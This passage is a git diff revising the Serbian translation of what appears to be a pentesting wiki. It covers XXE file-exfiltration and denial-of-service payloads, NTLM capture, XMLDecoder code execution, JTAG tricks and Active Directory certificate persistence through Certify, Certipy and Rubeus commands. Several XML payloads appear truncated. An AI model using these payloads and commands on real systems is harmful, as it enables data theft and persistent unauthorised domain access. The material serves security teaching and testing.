poziva, što dovodi do dinamičke deklaracije `error` entiteta. 4. Poziv `error` entiteta rezultira pokušajem učitavanja nepostojeće datoteke, proizvodeći poruku o grešci koja uključuje sadržaj datoteke `/etc/passwd` kao deo imena datoteke. -Zloćudni spoljašnji DTD može biti pozvan sa sledećim XML: +Zlonamerni eksterni DTD može biti pozvan sa sledećim XML: ```xml %xxe;]> @@ -150,7 +150,7 @@ _**Molimo vas da primetite da eksterni DTD omogućava uključivanje jedne entite Šta je sa slepim XXE ranjivostima kada su **izvan-bend interakcije blokirane** (eksterne konekcije nisu dostupne)? -Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz internog DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije. +Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije. Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u XML parsiranju koja otkriva sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način: ```xml @@ -168,8 +168,8 @@ Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/ Definisani koraci se izvršavaju ovim DTD-om: - Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje spoljašnji DTD fajl smešten na datotečnom sistemu servera. -- Ponovna definicija se dešava za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi obuhvatila [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova ponovna definicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`. -- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca akcija dovodi do emitovanja poruke o grešci koja je cilj exploita. +- Dolazi do redefinicije za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova redefinicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`. +- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita. **Primer iz stvarnog sveta:** Sistemi koji koriste GNOME radno okruženje često imaju DTD na `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`. ```xml @@ -205,7 +205,7 @@ U sledećem sjajnom github repozitorijumu možete pronaći **puteve DTD-ova koji https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} -Pored toga, ako imate **Docker sliku žrtvinskog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako. +Pored toga, ako imate **Docker sliku žrtvinog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar @@ -221,7 +221,7 @@ Testing 0 entities : [] Za detaljnije objašnjenje ovog napada, **pogledajte drugu sekciju** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**. -Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl. +Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser mogao da izvuče podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl. Da bi se testirala ova ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je da se kreira prazan direktorijum u koji se dokument može raspakovati. @@ -251,7 +251,7 @@ Proces pristupanja datoteci unutar PKZIP arhive putem jar protokola uključuje n 4. Konkretna datoteka unutar arhive, `file.zip`, se čita. 5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu. -Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dok se služi arhivska datoteka. Alati dostupni na [ovoj repozitoriji](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`). +Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dok se služi arhivska datoteka. Alati dostupni u [ovoj biblioteci](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`). ```xml ]> &xxe; @@ -276,7 +276,7 @@ Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održav ]> &a4; ``` -#### Yaml Napad +#### Yaml napad ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] @@ -292,9 +292,9 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ![](<../images/image (527).png>) -#### Dobijanje NTML-a +#### Dobijanje NTML -Na Windows hostovima je moguće dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a: +Na Windows hostovima moguće je dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a: ```bash Responder.py -I eth0 -v ``` @@ -318,13 +318,13 @@ productId= ``` @@ -338,11 +338,11 @@ U oba slučaja, SVG format se koristi za pokretanje napada koji iskorišćavaju Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija! -**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Dakle, morate biti u mogućnosti da pristupite slici koju je SVG kreirao.** +**Napomena: prva linija pročitanog fajla ili rezultata izvršenja će se pojaviti UNUTAR kreirane slike. Tako da treba da imate pristup slici koju je SVG kreirao.** ### **PDF - Učitavanje fajla** -Pročitajte sledeći post da **naučite kako da iskoristite XXE učitavanjem PDF** fajla: +Pročitajte sledeći post da **naučite kako da iskoristite XXE za učitavanje PDF** fajla: {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md @@ -358,7 +358,7 @@ Content-Length: 7 foo=bar ``` -Tada možda možete poslati sledeći zahtev, sa istim rezultatom: +Tada možete poslati sledeći zahtev, sa istim rezultatom: ```xml POST /action HTTP/1.0 Content-Type: text/xml @@ -408,7 +408,7 @@ Ovo funkcioniše samo ako XML server prihvata `data://` protokol. ### UTF-7 -Možete koristiti \[**"Encode Recipe**" of cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) za transformaciju u UTF-7. +Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformišite u UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -430,7 +430,7 @@ Ako web koristi Javu, možete proveriti [**jar: protocol**](xxe-xee-xml-external Trik iz [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Možete kreirati **entitet unutar entiteta** kodirajući ga sa **html entitetima** i zatim ga pozvati da **učita dtd**.\ -Napomena da **HTML Entities** koje se koriste moraju biti **numeričke** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). +Napomena da **HTML Entiteti** koji se koriste moraju biti **numerički** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> @@ -476,7 +476,7 @@ DTD пример: Ovaj primer je inspirisan u [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) -XLIFF (XML format za razmenu lokalizacije) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je XML-bazirani format koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (računarski potpomognuta prevođenja) alate. +XLIFF (XML format za razmenu lokalizacije) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je format zasnovan na XML-u koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (računarski potpomognuta prevođenja) alate. ### Analiza slepe zahteva @@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Ovaj pristup otkriva da User Agent ukazuje na korišćenje Java 1.8. Zapaženo ograničenje ove verzije Jave je nemogućnost preuzimanja datoteka koje sadrže karakter novog reda, kao što je /etc/passwd, koristeći Out of Band tehniku. +Ovaj pristup otkriva da User Agent ukazuje na korišćenje Java 1.8. Zapaženo ograničenje ove verzije Jave je nemogućnost preuzimanja fajlova koji sadrže karakter novog reda, kao što je /etc/passwd, koristeći Out of Band tehniku. -Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na grešci. DTD datoteka je strukturirana na sledeći način da izazove grešku koja uključuje podatke iz ciljne datoteke: +Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na grešci. DTD fajl je strukturiran na sledeći način da izazove grešku koja uključuje podatke iz ciljnog fajla: ```xml "> %foo; %xxe; ``` -Server odgovara greškom, što važno odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu: +Server odgovara greškom, što je važno jer odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` @@ -538,7 +538,7 @@ Ova modifikacija dovodi do uspešne eksfiltracije sadržaja datoteke, jer se odr ## RSS - XEE -Validan XML sa RSS formatom za iskorišćavanje XXE ranjivosti. +Validan XML u RSS formatu za iskorišćavanje XXE ranjivosti. ### Ping back @@ -609,7 +609,7 @@ Korišćenje PHP base64 filtera ``` ## Java XMLDecoder XEE to RCE -XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršenje koda na serveru. +XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metodi **readObject**, odmah će dobiti izvršavanje koda na serveru. ### Using Runtime().exec() ```xml @@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter ### Python lxml Parameter-Entity XXE (Otkrivanje fajlova zasnovano na grešci) > [!INFO] -> Python biblioteka **lxml** koristi **libxml2** u pozadini. Verzije pre **lxml 5.4.0 / libxml2 2.13.8** i dalje proširuju *parametar* entitete čak i kada je `resolve_entities=False`, čineći ih dostupnim kada aplikacija omogućava `load_dtd=True` i/ili `resolve_entities=True`. Ovo omogućava XXE payload-ove zasnovane na grešci koji ugrađuju sadržaj lokalnih fajlova u poruku o grešci parsera. +> Python biblioteka **lxml** koristi **libxml2** u pozadini. Verzije pre **lxml 5.4.0 / libxml2 2.13.8** i dalje proširuju *parametar* entitete čak i kada je `resolve_entities=False`, čineći ih dostupnim kada aplikacija omogućava `load_dtd=True` i/ili `resolve_entities=True`. Ovo omogućava XXE payload-e zasnovane na grešci koji ugrađuju sadržaj lokalnih fajlova u poruku o grešci parsera. #### 1. Iskorišćavanje lxml < 5.4.0 1. Identifikujte ili kreirajte *lokalni* DTD na disku koji definiše **neodređeni** parametar entitet (npr. `%config_hex;`). @@ -712,10 +712,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}" > Ako parser prigovara zbog `%`/`&` karaktera unutar unutrašnjeg podskupa, dvostruko ih kodirajte (`&#x25;` ⇒ `%`) da biste odložili ekspanziju. #### 2. Obilaženje lxml 5.4.0 ojačanja (libxml2 još uvek ranjiv) -`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** i dalje omogućava njihovo ugrađivanje u *general* entitet. Trik je: +`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** još uvek omogućava njihovo ugrađivanje u *general* entitet. Trik je: 1. Pročitati datoteku u parametarski entitet `%file`. 2. Deklarisati još jedan parametarski entitet koji gradi **general** entitet `c` čiji SYSTEM identifikator koristi *nepostojeći protokol* kao što je `meow://%file;`. -3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje pun URI – uključujući sadržaj datoteke – u poruci o grešci. +3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje punu URI – uključujući sadržaj datoteke – u poruci o grešci. ```xml ) @@ -81,9 +81,9 @@ Tips - Koristite `mdw/mdh/mdb` za proveru memorije pre dugih dump-ova. - Za višed uređaje, postavite BYPASS na neciljeve ili koristite datoteku ploče koja definiše sve TAP-ove. -## Trikovi sa granicnim skeniranjem (EXTEST/SAMPLE) +## Trikovi sa granicama skeniranja (EXTEST/SAMPLE) -Čak i kada je CPU debug pristup zaključan, granicno skeniranje može biti i dalje dostupno. Sa UrJTAG/OpenOCD možete: +Čak i kada je CPU debug pristup zaključan, granica skeniranja može biti izložena. Sa UrJTAG/OpenOCD možete: - SAMPLE za snimanje stanja pinova dok sistem radi (pronađite aktivnost na magistrali, potvrdite mapiranje pinova). - EXTEST za upravljanje pinovima (npr., bit-bang eksternih SPI flash linija putem MCU-a da biste ih pročitali offline ako ožičenje ploče to omogućava). @@ -97,18 +97,18 @@ jtag> instruction EXTEST jtag> shift ir jtag> dr ``` -Trebate BSDL uređaja da biste znali redosled bitova granice registra. Budite oprezni, neki proizvođači zaključavaju ćelije granice skeniranja u proizvodnji. +Trebate BSDL uređaja da biste znali redosled bitova granica registra. Budite oprezni, neki proizvođači zaključavaju ćelije granice skeniranja u proizvodnji. ## Moderni ciljevi i napomene - ESP32‑S3/C3 uključuju nativni USB‑JTAG most; OpenOCD može direktno komunicirati preko USB-a bez spoljnog probira. Veoma zgodno za triage i dump-ove. -- RISC‑V debag (v0.13+) je široko podržan od strane OpenOCD; preferirajte SBA za pristup memoriji kada jezgro ne može biti bezbedno zaustavljeno. +- RISC‑V debagovanje (v0.13+) je široko podržano od strane OpenOCD; preferirajte SBA za pristup memoriji kada jezgro ne može biti sigurno zaustavljeno. - Mnogi MCU implementiraju autentifikaciju debagovanja i stanja životnog ciklusa. Ako JTAG izgleda mrtvo, ali je napajanje ispravno, uređaj može biti fuzovan u zatvoreno stanje ili zahteva autentifikovani probir. ## Odbrane i učvršćivanje (šta očekivati na pravim uređajima) - Trajno onemogućite ili zaključajte JTAG/SWD u proizvodnji (npr., STM32 RDP nivo 2, ESP eFuses koji onemogućavaju PAD JTAG, NXP/Nordic APPROTECT/DPAP). -- Zahtevajte autentifikovano debagovanje (ARMv8.2‑A ADIv6 Autentifikacija debagovanja, OEM-upravljani izazov-odgovor) dok zadržavate pristup proizvodnji. +- Zahtevajte autentifikovano debagovanje (ARMv8.2‑A ADIv6 Autentifikacija debagovanja, OEM-u upravljani izazov-odgovor) dok zadržavate pristup proizvodnji. - Ne postavljajte lake testne padove; zakopajte testne via, uklonite/popunite otpornike da izolujete TAP, koristite konektore sa ključevima ili pogo-pin fiksacijama. - Zaključavanje debagovanja pri uključivanju: postavite TAP iza ranog ROM-a koji sprovodi sigurno pokretanje. diff --git a/src/todo/misc.md b/src/todo/misc.md deleted file mode 100644 index 4a52ebe7a..000000000 --- a/src/todo/misc.md +++ /dev/null @@ -1,58 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -U ping odgovoru TTL:\ -127 = Windows\ -254 = Cisco\ -Ostalo, neki linux - -$1$- md5\ -$2$ili $2a$ - Blowfish\ -$5$- sha256\ -$6$- sha512 - -Ako ne znate šta se nalazi iza usluge, pokušajte da napravite HTTP GET zahtev. - -**UDP skeniranja**\ -nc -nv -u -z -w 1 \ 160-16 - -Prazan UDP paket se šalje na određeni port. Ako je UDP port otvoren, nema odgovora sa ciljne mašine. Ako je UDP port zatvoren, ICMP paket o nedostupnom portu treba da se vrati sa ciljne mašine.\ - -UDP skeniranje portova često nije pouzdano, jer vatrozidi i ruteri mogu odbaciti ICMP\ -pakete. To može dovesti do lažno pozitivnih rezultata u vašem skeniranju, i redovno ćete videti\ -UDP skeniranja portova koja prikazuju sve UDP portove otvorene na skeniranoj mašini.\ -Većina skenera portova ne skenira sve dostupne portove, i obično imaju unapred postavljenu listu\ -“zanimljivih portova” koji se skeniraju. - -# CTF - Trikovi - -U **Windows** koristite **Winzip** za pretragu datoteka.\ -**Alternativni podaci Strimovi**: _dir /r | find ":$DATA"_\ -``` -binwalk --dd=".*" #Extract everything -binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000) -``` -## Crypto - -**featherduster**\ - -**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\ -**Base32**(5 —>8) —> A…Z, 2…7\ -**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\ -**Uuencode** --> Počnite sa "_begin \ \_" i čudnim karakterima\ -**Xxencoding** --> Počnite sa "_begin \ \_" i B64\ -\ -**Vigenere** (analiza frekvencije) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\ -**Scytale** (pomak karaktera) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher) - -**25x25 = QR** - -factordb.com\ -rsatool - -Snow --> Sakrijte poruke koristeći razmake i tabove - -# Characters - -%E2%80%AE => RTL karakter (piše payload-ove unazad) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index ff4047c5a..a47a03a6c 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -8,7 +8,7 @@ U scenariju gde korisnik može da zatraži sertifikat koji omogućava autentifikaciju domena, napadač ima priliku da zatraži i ukrade ovaj sertifikat kako bi održao postojanost na mreži. Po defaultu, `User` šablon u Active Directory-ju omogućava takve zahteve, iako može ponekad biti onemogućen. -Korišćenjem [Certify](https://github.com/GhostPack/Certify) ili [Certipy](https://github.com/ly4k/Certipy), možete pretraživati omogućene šablone koji dozvoljavaju autentifikaciju klijenata i zatim zatražiti jedan: +Koristeći [Certify](https://github.com/GhostPack/Certify) ili [Certipy](https://github.com/ly4k/Certipy), možete pretraživati omogućene šablone koji dozvoljavaju autentifikaciju klijenata i zatim zatražiti jedan: ```bash # Enumerate client-auth capable templates Certify.exe find /clientauth @@ -44,9 +44,9 @@ Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /mach # Authenticate as the machine using the issued PFX Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt ``` -## Produženje postojanosti kroz obnavljanje sertifikata - PERSIST3 +## Produženje Postojanosti Kroz Obnovu Sertifikata - PERSIST3 -Zloupotreba perioda važenja i obnavljanja šablona sertifikata omogućava napadaču da održi dugoročni pristup. Ako posedujete prethodno izdat sertifikat i njegov privatni ključ, možete ga obnoviti pre isteka kako biste dobili svež, dugotrajan kredencijal bez ostavljanja dodatnih artefakata zahteva povezanih sa originalnim principalom. +Zloupotreba perioda važenja i obnove šablona sertifikata omogućava napadaču da održi dugoročni pristup. Ako posedujete prethodno izdat sertifikat i njegov privatni ključ, možete ga obnoviti pre isteka kako biste dobili svež, dugotrajan kredencijal bez ostavljanja dodatnih artefakata zahteva povezanih sa originalnim principalom. ```bash # Renewal with Certipy (works with RPC/DCOM/WebEnrollment) # Provide the existing PFX and target the same CA/template when possible @@ -57,7 +57,7 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ # (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) certreq -enroll -user -cert renew [reusekeys] ``` -> Operativni savet: Pratite trajanje PFX datoteka koje drži napadač i obnavljajte ih unapred. Obnova takođe može uzrokovati da ažurirani sertifikati uključuju modernu SID mapiranje ekstenziju, čineći ih upotrebljivim pod strožim DC pravilima mapiranja (vidi sledeću sekciju). +> Operativni savet: Pratite trajanje PFX datoteka koje drži napadač i obnavljajte ih unapred. Obnova može takođe uzrokovati da ažurirani sertifikati uključuju modernu SID mapiranje ekstenziju, čineći ih upotrebljivim pod strožim DC pravilima mapiranja (vidi sledeću sekciju). ## Postavljanje Eksplicitnih Sertifikat Mapa (altSecurityIdentities) – PERSIST4 @@ -86,7 +86,7 @@ certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 ``` Notes - Koristite samo jake tipove mapiranja: X509IssuerSerialNumber, X509SKI ili X509SHA1PublicKey. Slabi formati (Subject/Issuer, samo Subject, RFC822 email) su zastareli i mogu biti blokirani politikom DC-a. -- Lanac sertifikata mora biti izgrađen do korena koji je poveren DC-u. Preduzeća CAs u NTAuth su obično povereni; neka okruženja takođe veruju javnim CAs. +- Lanac sertifikata mora biti izgrađen do korena koji je poveren DC-u. Preduzeća CAs u NTAuth su obično poverena; neka okruženja takođe veruju javnim CAs. Za više informacija o slabim eksplicitnim mapiranjima i putevima napada, pogledajte: @@ -94,9 +94,9 @@ Za više informacija o slabim eksplicitnim mapiranjima i putevima napada, pogled domain-escalation.md {{#endref}} -## Enrollment Agent as Persistence – PERSIST5 +## Enrollment Agent kao Persistencija – PERSIST5 -Ako dobijete važeći sertifikat za zahtev za sertifikat/sertifikat agenta za upis, možete kreirati nove sertifikate koji omogućavaju prijavu u ime korisnika po želji i čuvati agenta PFX van mreže kao token za postojanost. Zloupotreba radnog toka: +Ako dobijete važeći sertifikat za zahtev za sertifikat/sertifikat agenta za upis, možete kreirati nove sertifikate sposobne za prijavu u ime korisnika po želji i čuvati agenta PFX van mreže kao token za persistenciju. Zloupotreba radnog toka: ```bash # Request an Enrollment Agent cert (requires template rights) Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent" @@ -109,14 +109,14 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ -template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx ``` -Revokacija sertifikata agenta ili dozvola šablona je potrebna za uklanjanje ove perzistencije. +Povlačenje sertifikata agenta ili dozvola šablona je potrebno za uklanjanje ove perzistencije. ## 2025 Snažno sprovođenje mapiranja sertifikata: Uticaj na perzistenciju Microsoft KB5014754 je uveo snažno sprovođenje mapiranja sertifikata na kontrolerima domena. Od 11. februara 2025, DC-ovi podrazumevano koriste potpuno sprovođenje, odbacujući slaba/ambigvna mapiranja. Praktične posledice: - Sertifikati pre 2022. godine koji nemaju SID mapiranje ekstenziju mogu propasti implicitno mapiranje kada su DC-ovi u potpunom sprovođenju. Napadači mogu održati pristup ili obnavljanjem sertifikata putem AD CS (da bi dobili SID ekstenziju) ili postavljanjem snažnog eksplicitnog mapiranja u `altSecurityIdentities` (PERSIST4). -- Eksplicitna mapiranja koristeći jake formate (Issuer+Serial, SKI, SHA1-PublicKey) nastavljaju da funkcionišu. Slabi formati (Issuer/Subject, samo Subject, RFC822) mogu biti blokirani i treba ih izbegavati za perzistenciju. +- Eksplicitna mapiranja koristeći jake formate (Issuer+Serial, SKI, SHA1-PublicKey) nastavljaju da rade. Slabi formati (Issuer/Subject, samo Subject, RFC822) mogu biti blokirani i treba ih izbegavati za perzistenciju. Administratori bi trebali pratiti i obaveštavati o: - Promenama u `altSecurityIdentities` i izdavanju/obnavljanju sertifikata za Enrollment Agent i korisnike. diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 52c3c0293..412e2e834 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -24,13 +24,13 @@ Međutim, ako je **TGS** korišćen u **S4U2Proxy** **NISU Forwardable** pokuša Pretpostavimo da napadač već ima **dozvole za pisanje ekvivalentne privilegijama nad žrtvinim računarom**. -1. Napadač 